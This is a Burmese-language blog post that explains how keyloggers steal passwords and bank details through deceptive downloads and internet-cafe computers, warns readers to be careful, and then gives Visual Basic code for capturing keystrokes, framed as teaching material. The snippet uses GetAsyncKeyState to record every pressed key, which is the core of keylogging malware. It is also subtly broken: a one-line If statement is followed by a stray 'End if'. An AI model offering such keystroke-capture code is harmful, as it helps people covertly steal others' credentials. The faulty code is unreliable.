Key Logger ပရိုဂရမ္ကို Visual Basic နဲ႔ ေရးၾကည့္ရေအာင္

Key Logger ဂရိုဂရမ္ ဆုိတာကို ၾကားဖူးၾကမွာပါ။ ကြန္ပ်ဴတာမွာ ရုိက္လိုက္သမွ် ကီးေတြကုိ မွတ္သားထားၿပီး အီးေမးလ္ လိပ္စာတစ္ခုဆီကုိ ပို႔ေပးပါတယ္။ Hacking လုပ္တဲ့ နည္းလမ္းတစ္ခု ျဖစ္ပါတယ္။ Hacker တစ္ေယာက္က EXE ပရုိဂရမ္တစ္ခုကို လိမ္ညာၿပီး လင့္ ေတြေပးထားတယ္။ အလိမ္ခံရတဲ့သူက ဘာမွန္းမသိ ေဒါင္း ၿပီး ကလစ္လုိက္တယ္။ အဲဒီအခါ ဂရုိဂရမ္က ေနာက္ကြယ္မွာ Run ေနၿပီး ရုိက္သမွ် ကီးေတြကို Hacker ရဲ့ အီးေမးလ္ လိပ္စာဆီကုိ ပုိ႔ေပးေနပါေတာ့တယ္။ သားေကာင္ရဲ့ အီးေမးလ္ လိပ္စာနဲ႔ Password ေတြ၊ အေရးႀကီးတဲ့အခ်က္အလက္ေတြ၊ ဘဏ္အေကာင့္ နံပါတ္ေတြ ကုိ ခုိးယူတဲ့ နည္းအျဖစ္ သံုးၾကပါတယ္။

အင္တာနက္ကေဖးေတြမွာ မသမာသူက ကြန္ပ်ဴတာတစ္လံုးမွာ အဲဒီပရုိဂရမ္ကို တင္ထားခဲ့တတ္ပါတယ္။ မသိတဲ့သူတစ္ေယာက္က အဲဒီကြန္ပ်ဴတာမွာ ထုိင္ၿပီး အီးေမးလ္ ဖြင့္ဖတ္တယ္ဆုိပါစုိ႔။ သူရုိက္သမွ် အီးေမးလိပ္စာနဲ႔ Password ကို Hacker ဆီကုိ ပုိ႔ေပးပါလိမ့္မယ္။

Key Logger ပရုိဂရမ္ကုိ ဖရီးေဒါင္းဖုိ႔ လင့္ ေတြ ေပးထားတတ္ၾကပါတယ္။ အဲဒီပရုိဂရမ္ ကိုက ကုိယ့္ကုိ လိမ္ညာၿပီး Hack သြားႏိုင္ပါတယ္။ သတိထားၾကဖုိ႔ လုိပါတယ္။

အဲဒီ Key Logger ပရုိဂရမ္က ရိုက္လုိက္တဲ့ ကီး ေတြကို ဘယ္လုိမွတ္သားတယ္ဆုိတာ Visual Basic Code နဲ႔ ေအာက္မွာ ေရးျပထားပါတယ္။ ေလ့လာၾကည့္ပါ။ (နည္းပညာ ေလ့လာလုိက္စားသူ Visual Basic programmer မ်ားအတြက္ မွ်ေ၀ေပးျခင္း ျဖစ္ပါတယ္)။

---

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub